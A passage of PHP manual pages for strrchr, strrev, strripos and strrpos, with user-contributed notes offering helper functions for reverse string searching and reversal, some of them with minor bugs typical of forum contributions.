        return false !== strpos($haystack, $needle);
    }
}
?>
bishop 22-Apr-2004 12:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
    echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
    if ($ignoreCase) {
        $haystack = strtolower($haystack);
        $needle   = strtolower($needle);
    }
    $needlePos = strpos($haystack, $needle);
    return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
    echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}
?>


Find the last occurrence of a character in a string

  • « strpos
  • strrev »
  • PHP Manual
  • String Functions
  • Find the last occurrence of a character in a string

strrchr

(PHP 4, PHP 5)

strrchr — Find the last occurrence of a character in a string

Description

string strrchr ( string $haystack , mixed $needle )

This function returns the portion of haystack which starts at the last occurrence of needle and goes until the end of haystack.

Parameters

haystack

The string to search in

needle

If needle contains more than one character, only the first is used. This behavior is different from that of strstr().

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

Return Values

This function returns the portion of string, or FALSE if needle is not found.

Changelog

Version | Description
4.3.0 | This function is now binary safe.

Examples

Example #1 strrchr() example

<?php
// get last directory in $PATH
$dir = substr(strrchr($PATH, ":"), 1);

// get everything after last newline
$text = "Line 1\nLine 2\nLine 3";
$last = substr(strrchr($text, 10), 1 );
?>

Notes

Note: This function is binary-safe.

See Also

  • strstr() - Find the first occurrence of a string
  • strrpos() - Find the position of the last occurrence of a substring in a string

User Contributed Notes

jphansen at uga dot edu 16-Aug-2012 01:16
To extract your portion of a string without the actual character you searched for, you can use:

<?php
$path = '/www/public_html/index.html';
$filename = substr(strrchr($path, "/"), 1);
echo $filename; // "index.html"
?>
matthewkastor at live dot com 30-Mar-2011 10:07
<?php
/**
 * Removes the preceeding or proceeding portion of a string
 * relative to the last occurrence of the specified character.
 * The character selected may be retained or discarded.
 *
 * Example usage:
 * <code>
 * $example = 'http://example.com/path/file.php';
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
 * foreach($cwd_relative as $string) {
 *     echo "$string <br>".PHP_EOL;
 * }
 * </code>
 *
 * Outputs:
 * <code>
 * http://example.com/path/
 * http://example.com/path
 * /file.php
 * file.php
 * </code>
 *
 * @param string $character the character to search for.
 * @param string $string the string to search through.
 * @param string $side determines whether text to the left or the right of the character is returned.
 * Options are: left, or right.
 * @param bool $keep_character determines whether or not to keep the character.
 * Options are: true, or false.
 * @return string
 */
function cut_string_using_last($character, $string, $side, $keep_character=true) {
    $offset = ($keep_character ? 1 : 0);
    $whole_length = strlen($string);
    $right_length = (strlen(strrchr($string, $character)) - 1);
    $left_length = ($whole_length - $right_length - 1);
    switch($side) {
        case 'left':
            $piece = substr($string, 0, ($left_length + $offset));
            break;
        case 'right':
            $start = (0 - ($right_length + $offset));
            $piece = substr($string, $start);
            break;
        default:
            $piece = false;
            break;
    }
    return($piece);
}
?>
readless at gmx dot net 07-Jun-2006 04:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
sekati at gmail dot com 09-Apr-2006 02:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
    return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com 25-Dec-2005 07:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
29-Jul-2005 07:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com 03-Apr-2005 08:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
                return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au 17-Feb-2004 04:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
    $pos = strrpos($haystack, $needle);
    if($pos === false) {
        return $haystack;
    }
    return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org 24-May-2003 01:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com 14-Apr-2003 09:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

    // Returns everything before $needle (inclusive).
    return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

echo strrrchr($string,")"); // Will print FIELD (9)

?>


Reverse a string

  • « strrchr
  • strripos »
  • PHP Manual
  • String Functions
  • Reverse a string

strrev

(PHP 4, PHP 5)

strrev — Reverse a string

Description

string strrev ( string $string )

Returns string, reversed.

Parameters

string

The string to be reversed.

Return Values

Returns the reversed string.

Examples

Example #1 Reversing a string with strrev()

<?php
echo strrev("Hello world!"); // outputs "!dlrow olleH"
?>

User Contributed Notes

vsrikanth02 at gmail dot com 21-Apr-2014 07:55
$string = 'srikanth';
 $length = strlen($string);

for($i=$length-1;$i >=0;$i--){
    echo $string[$i];
}
vsrikanth02 at gmail dot com 21-Apr-2014 07:54
$string = 'srikanth';
 $length = strlen($string);

for($i=$length-1;$i >=0;$i--){
    echo $string[$i];
}
sheik dot ks at gmail dot com 21-Apr-2014 06:07
$str = "sheik";
$arr1 = str_split($str);
$revstr='';
$i=count($arr1);
while($i >= 0){
    $revstr .= $arr1[$i];
    $i--;
}
echo $revstr;
dthawkins+php at gmail dot com 09-Apr-2014 03:18
Reverse a string without using any functions

function reverse_string($s) {
        $i = 0;
        $rev = '';
        while ( $s[$i] ) {
                $i++;
        }
        $i--;
        while ( $s[$i] ) {
                $rev .= $s[$i];
                $i--;
        }
        return $rev;
}
manfred at werkzeugH dot at 27-May-2008 01:35
here is my version for strings with utf8-characters represented as numerical entities  (e.g. &#1234;)

function utf8_entities_strrev($str, $preserve_numbers = true)
{
  //split string into string-portions (1 byte characters, numerical entitiesor numbers)

  $parts=Array();
  while ($str)
  {
    if ($preserve_numbers && preg_match('/^([0-9]+)(.*)$/',$str,$m))
    {
      // number-flow
      $parts[]=$m[1];
      $str=$m[2];
    }
    elseif (preg_match('/^(\&#[0-9]+;)(.*)$/',$str,$m))
    {
      // numerical entity
      $parts[]=$m[1];
      $str=$m[2];
    }
    else
    {
      $parts[]=substr($str,0,1);
      $str=substr($str,1);
    }
  }

  $str=implode(array_reverse($parts),"");

  return $str;
}
carmel.alex at gmail.com 28-Feb-2006 09:54
This function support utf-8 encoding

function utf8_strrev($str){
    preg_match_all('/./us', $str, $ar);
    return join('',array_reverse($ar[0]));
}
MagicalTux at FF dot st 12-May-2005 03:20
I will make Screend at hf dot webex dot com's comment more clear and understandable.

strrev only works for singlebyte character-sets. Multibytes charactersets are not compatibles with strrev.

US-ASCII and ISO-8859-* are compatible with strrev, however BIG5, SJIS, UTF-8 aren't.

There's no mb_strrev function in PHP, so you can't strrev() a multibyte string. Try to convert it to something else with iconv() if it can be represented in a singlebyte character set.


Find the position of the last occurrence of a case-insensitive substring in a string

  • « strrev
  • strrpos »
  • PHP Manual
  • String Functions
  • Find the position of the last occurrence of a case-insensitive substring in a string

strripos

(PHP 5)

strripos — Find the position of the last occurrence of a case-insensitive substring in a string

Description

int strripos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the last occurrence of needle in the haystack string.

Unlike the strrpos(), strripos() is case-insensitive.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards.

Return Values

Returns the position where the needle exists relative to the beginnning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 A simple strripos() example

<?php
$haystack = 'ababcd';
$needle   = 'aB';

$pos      = strripos($haystack, $needle);

if ($pos === false) {
    echo "Sorry, we did not find ($needle) in ($haystack)";
} else {
    echo "Congratulations!\n";
    echo "We found the last ($needle) in ($haystack) at position ($pos)";
}
?>

The above example will output:

   Congratulations!
   We found the last (aB) in (ababcd) at position (2)

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strrchr() - Find the last occurrence of a character in a string
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

Anonymous 31-Aug-2010 10:05
Generally speaking, linear searches are from start to end, not end to start - which makes sense from a human perspective. If you need to find strings in a string backwards, reverse your haystack and needle rather than manually chopping it up.
admin at e-xxi dot net 09-Mar-2010 04:00
strripos() has very strange behaviour when you provide search position. For some reason it searches forward from the given position, instead of searching backward, that is more logical.

For example if you want to find instanse of $what, previous to the last, strripos($where, $what, $last_what_pos-1) will not wark as expected. It will return $last_what_pos again and again. And that has no sence at all.

To prevent this, I just used $prev_last_what_pos = strripos(substr($where,0,$last_what_pos), $what);
dimmav at in dot gr 25-Sep-2008 06:31
Suppose you just need a stripos function working backwards expecting that strripos does this job, you better use the following code of a custom function named strbipos:

<?php
function strbipos($haystack="", $needle="", $offset=0) {
// Search backwards in $haystack for $needle starting from $offset and return the position found or false

    $len = strlen($haystack);
    $pos = stripos(strrev($haystack), strrev($needle), $len - $offset - 1);
    return ( ($pos === false) ? false : $len - strlen($needle) - $pos );
}

// Test
$body = "01234Xy7890XYz456xy90";
$str = "xY";
$len = strlen($body);
echo "TEST POSITIVE offset VALUES IN strbipos<br>";
for ($i = 0; $i < $len; $i++) {
    echo "Search in [$body] for [$str] starting from offset [$i]: [" . strbipos($body, $str, $i) . "]<br>";
}
?>

Note that this function does exactly what it says and its results are different comparing to PHP 5 strripos function.
peev[dot]alexander at gmail dot com 20-Apr-2008 11:14
OK, I guess this will be the final function implementation for PHP 4.x versions ( my previous posts are invalid )

<?php

if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }/* endfunction stripos */
}/* endfunction exists stripos */

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }/* endfunction strripos */
}/* endfunction exists strripos */
?>
peev[dot]alexander at gmail dot com 18-Oct-2007 02:23
I think you shouldn't underestimate the length of $needle in the search of THE FIRST POSITION of it's last occurrence in the string. I improved the posted function, with added support for offset. I think this is an exact copy of the real function:

<?php
if(!function_exists("strripos")){
    function strripos($haystack, $needle, $offset=0) {
        if($offset<0){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(  substr( $haystack, $offset )  );
        }
        $pos = strlen($haystack) - (strpos($temp_cut, strrev($needle)) + $offset + strlen($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }/* endfunction strripos*/
}/* endfunction exists strripos*/
?>
ElectroFox 02-Aug-2007 10:59
Sorry, I made that last post a bit prematurely.  One more thing wrong with the simple php4 version is that it breaks if the string is not found.  It should actually look like this:

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        $pos = strlen($haystack) - strpos(strrev($haystack), strrev($needle));
        if ($pos == strlen($haystack)) { $pos = 0; }
        return $pos;
    }
}
?>

Note, we now check to see if the $needle was found, and if it isn't, we return 0.
Yanik Lupien 03-Jul-2007 07:47
Simple way to implement this function in PHP 4

<?php
if (function_exists('strripos') == false) {
    function strripos($haystack, $needle) {
        return strlen($haystack) - strpos(strrev($haystack), $needle);
    }
}

?>


Find the position of the last occurrence of a substring in a string

  • « strripos
  • strspn »
  • PHP Manual
  • String Functions
  • Find the position of the last occurrence of a substring in a string

strrpos

(PHP 4, PHP 5)

strrpos — Find the position of the last occurrence of a substring in a string

Description

int strrpos ( string $haystack , string $needle [, int $offset = 0 ] )

Find the numeric position of the last occurrence of needle in the haystack string.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards.

Return Values

Returns the position where the needle exists relative to the beginnning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.0.0 | The needle may now be a string of more than one character.

Examples

Example #1 Checking if a needle is in the haystack

It is easy to mistake the return values for "character found at position 0" and "character not found". Here's how to detect the difference:

<?php

$pos = strrpos($mystring, "b");
if ($pos === false) { // note: three equal signs
    // not found...
}

?>

Example #2 Searching with offsets

<?php
$foo = "0123456789a123456789b123456789c";

var_dump(strrpos($foo, '7', -5));  // Starts looking backwards five positions
                                   // from the end. Result: int(17)

var_dump(strrpos($foo, '7', 20));  // Starts searching 20 positions into the
                                   // string. Result: int(27)

var_dump(strrpos($foo, '7', 28));  // Result: bool(false)
?>

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strrchr() - Find the last occurrence of a character in a string
  • substr() - Return part of a string

User Contributed Notes

tremblay dot jf at gmail dot com 13-May-2014 03:57
I created an easy function that search a substring inside a string.
It reverse the string and the substring inside an strpos and substract the result to the length of the string.

if (!function_exists("real_strrpos")) {
   function real_strrpos($haystack,$needle) {
      $pos  = strlen($haystack);
      $pos -= strpos(strrev($haystack), strrev($needle) );
      $pos -= strlen($needle);
      return $pos;
   }
}
arlaud pierre 02-Jul-2012 10:51
This seems to behave like the exact equivalent to the PHP 5 offset parameter for a PHP 4 version.

<?php
 function strrpos_handmade($haystack, $needle, $offset = 0){

  if($offset === 0) return strrpos($haystack, $needle);

  $length = strlen($haystack);
  $size = strlen($needle);

  if($offset < 0) {
    $virtual_cut = $length+$offset;
    $haystack = substr($haystack, 0, $virtual_cut+$size);
    $ret = strrpos($haystack, $needle);
    return $ret > $virtual_cut ? false : $ret;
  } else {
    $haystack = substr($haystack, $offset);
    $ret = strrpos($haystack, $needle);
    return $ret === false ? $ret : $ret+$offset;
  }

}
?>
maxmike at gmail dot com 12-Jul-2009 07:05
I've got a simple method of performing a reverse strpos which may be of use.  This version I have treats the offset very simply:
Positive offsets search backwards from the supplied string index.
Negative offsets search backwards from the position of the character that many characters from the end of the string.

Here is an example of backwards stepping through instances of a string with this function:

<?php
function backwardStrpos($haystack, $needle, $offset = 0){
    $length = strlen($haystack);
    $offset = ($offset > 0)?($length - $offset):abs($offset);
    $pos = strpos(strrev($haystack), strrev($needle), $offset);
    return ($pos === false)?false:( $length - $pos - strlen($needle) );
}

$pos = 0;
$count = 0;
echo "Test1<br/>";
while(($pos = backwardStrpos("012340567890", "0", $pos)) !== false){
     echo $pos."<br/>";
    $pos--;
    if($pos < 0){
        echo "Done<br/>";break;
    }
}
echo "---===---<br/>\nTest2<br/>";
echo backwardStrpos("12341234", "1", 2)."<br/>";
echo backwardStrpos("12341234", "1", -2);
?>

Outputs:
Test1
11
5
0
Done
---===---
Test2
0
4

With Test2 the first line checks from the first 3 in "12341234" and runs backwards until it finds a 1 (at position 0)

The second line checks from the second 2 in "12341234" and seeks towards the beginning for the first 1 it finds (at position 4).

This function is useful for php4 and also useful if the offset parameter in the existing strrpos is equally confusing to you as it is for me.
alexandre at NOSPAM dot pixeline dot be 20-Dec-2008 05:35
I needed to check if a variable that contains a generated folder name based on user input had a trailing slash.

This did the trick:

<?php
    // Detect and remove a trailing slash
    $root_folder = ((strrpos($root_folder, '/') + 1) == strlen($root_folder)) ? substr($root_folder, 0, - 1) : $root_folder;
?>
dixonmd at gmail dot com 24-Dec-2007 11:42
<?php
        $pos = strlen(string $haystack) - strpos (strrev(string $haystack), strrev(string $needle)) - strlen(string $needle);
?>

         If in the needle there is more than one character then in php 4 we can use the above statement for finding the position of last occurrence of a substring in a string instead of strrpos. Because in php 4 strrpos uses the first character of the substring.

eg :
<?php
        $haystack = "you you you you you";
        $needle = "you";
        $pos1 = strlen($haystack) - strpos (strrev($haystack), strrev($needle)) - strlen($needle);
        echo $pos1 . "<br>";
        $pos2 strrpos($haystack, $needle);
        echo $pos2 . "<br>";
?>
Daniel Brinca 15-Oct-2007 02:41
Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards  (lastIndexOf type function):

//search backwards for needle in haystack, and return its position
function rstrpos ($haystack, $needle, $offset){
    $size = strlen ($haystack);
    $pos = strpos (strrev($haystack), $needle, $size - $offset);

    if ($pos === false)
        return false;

    return $size - $pos;
}

Note: supports full strings as needle
pb at tdcspace dot dk 23-Sep-2007 04:26
what the hell are you all doing. Wanna find the *next* last from a specific position because strrpos is useless with the "offset" option, then....

ex: find 'Z' in $str from position $p,  backward...

while($p > -1 and $str{$p} <> 'Z') $p--;

Anyone will notice $p = -1 means: *not found* and that you must ensure a valid start offset in $p, that is >=0 and < string length. Doh
brian at enchanter dot net 16-Jul-2007 04:47
The documentation for 'offset' is misleading.

It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string."

This is confusing if you think of strrpos as starting at the end of the string and working backwards.

A better way to think of offset is:

- If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle).

- If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found.

If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this:

strrpos($text, " ", -(strlen($text) - 50));

If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending.
jafet at g dot m dot a dot i dot l dot com 12-Apr-2007 10:57
Full strpos() functionality, by yours truly.

<?php
function conforming_strrpos($haystack, $needle, $offset = 0)
{
    # Why does strpos() do this? Anyway...
    if(!is_string($needle)) $needle = ord(intval($needle));
    $haystack = strval($haystack);
    # Parameters
    $hlen = strlen($haystack);
    $nlen = strlen($needle);
    # Come on, this is a feature too
    if($nlen == 0)
    {
        trigger_error(__FUNCTION__.'(): Empty delimiter.', E_USER_WARNING);
        return false;
    }
    $offset = intval($offset);
    $hrev = strrev($haystack);
    $nrev = strrev($needle);
    # Search
    $pos = strpos($hrev, $nrev, $offset);
    if($pos === false) return false;
    else return $hlen - $nlen - $pos;
}
?>

Note that $offset is evaluated from the end of the string.

Also note that conforming_strrpos() performs some five times slower than strpos(). Just a thought.
mijsoot_at_gmail_dot_com 06-Mar-2007 10:43
To begin, i'm sorry for my English.
So, I needed of one function which gives me the front last position of a character.
Then I said myself that it should be better to make one which gives the "N" last position.

$return_context = "1173120681_0__0_0_Mijsoot_Thierry";

// Here i need to find = "Mijsoot_Thierry"

//echo $return_context."<br />";// -- DEBUG

function findPos($haystack,$needle,$position){
    $pos = strrpos($haystack, $needle);
    if($position>1){
        $position --;
        $haystack = substr($haystack, 0, $pos);
        $pos = findPos($haystack,$needle,$position);
    }else{
        // echo $haystack."<br />"; // -- DEBUG
        return $pos;
    }
    return $pos;
}

var_dump(findPos($return_context,"_",2)); // -- TEST
Christ Off 29-Jan-2007 07:50
Function to truncate a string
Removing dot and comma
Adding ... only if a is character found

function TruncateString($phrase, $longueurMax = 150) {
    $phrase = substr(trim($phrase), 0, $longueurMax);
    $pos = strrpos($phrase, " ");
    $phrase = substr($phrase, 0, $pos);
    if ((substr($phrase,-1,1) == ",") or (substr($phrase,-1,1) == ".")) {
        $phrase = substr($phrase,0,-1);
    }
    if ($pos === false) {
        $phrase = $phrase;
    }
    else {
        $phrase = $phrase . "...";
    }
return $phrase;
}
php NO at SPAMMERS willfris SREMMAPS dot ON nl 21-Dec-2006 03:48
<?php
/*******
 ** Maybe the shortest code to find the last occurence of a string, even in php4
 *******/
function stringrpos($haystack,$needle,$offset=NULL)
{
    return strlen($haystack)
           - strpos( strrev($haystack) , strrev($needle) , $offset)
           - strlen($needle);
}
// @return   ->   chopped up for readability.
?>
purpleidea 27-Nov-2006 09:07
I was having some issues when I moved my code to run it on a different server.
The earlier php version didn't support more than one character needles, so tada, bugs. It's in the docs, i'm just pointing it out in case you're scratching your head for a while.
dmitry dot polushkin at gmail dot com 04-Nov-2006 07:05
Returns the filename's string extension, else if no extension found returns false.
Example: filename_extension('some_file.mp3'); // mp3
Faster than the pathinfo() analogue in two times.
<?php
function filename_extension($filename) {
    $pos = strrpos($filename, '.');
    if($pos===false) {
        return false;
    } else {
        return substr($filename, $pos+1);
    }
}
?>
kavih7 at yahoo dot com 08-Jun-2006 09:53
<?php
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
    if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
    {
        $last_pos = $offset;
        $found = false;
        while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
        {
            $found = true;
            $last_pos = $curr_pos + 1;
        }
        if($found)
        {
            return $last_pos - 1;
        }
        else
        {
            return false;
        }
    }
    else
    {
        return false;
    }
}
?>
shimon at schoolportal dot co dot il 03-May-2006 08:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
gordon at kanazawa-gu dot ac dot jp 14-Sep-2005 06:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
    // same as strrpos, except $needle can be a string
    $strrpos = false;
    if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
        $strlen = strlen($haystack);
        $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
        if (is_numeric($strpos)) {
            $strrpos = $strlen - $strpos - strlen($needle);
        }
    }
    return $strrpos;
}
genetically altered mastermind at gmail 22-Aug-2005 07:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab 10-Aug-2005 01:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
        return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
jonas at jonasbjork dot net 06-Apr-2005 10:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
escii at hotmail dot com ( Brendan ) 11-Jan-2005 04:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
        while($ret = strrpos($haystack,$needle))
        {
                if(strncmp(substr($haystack,$ret,strlen($needle)),
                                $needle,strlen($needle)) == 0 )
                        return $ret;
                $haystack = substr($haystack,0,$ret -1 );
        }
        return $ret;
}
?>
griffioen at justdesign dot nl 17-Nov-2004 07:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

    function lastIndexOf($haystack, $needle) {
        $index        = strpos(strrev($haystack), strrev($needle));
        $index        = strlen($haystack) - strlen(index) - $index;
        return $index;
    }
nexman at playoutloud dot net 07-Oct-2004 06:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

    function strepos($haystack, $needle, $offset=0) {
        $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
        $last_pos = false; $first_run = true;
        do {
            $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
            if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
                $last_pos = $pos;
            } else { break; }
            $first_run = false;
        } while ($pos !== false);
        if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
        return $last_pos;
    }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
tsa at medicine dot wisc dot edu 25-May-2004 02:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
ZaraWebFX 14-Oct-2003 08:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
    return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
    $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
    $search = " limit";
    echo $str."\n";
    echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net 29-Aug-2003 04:21
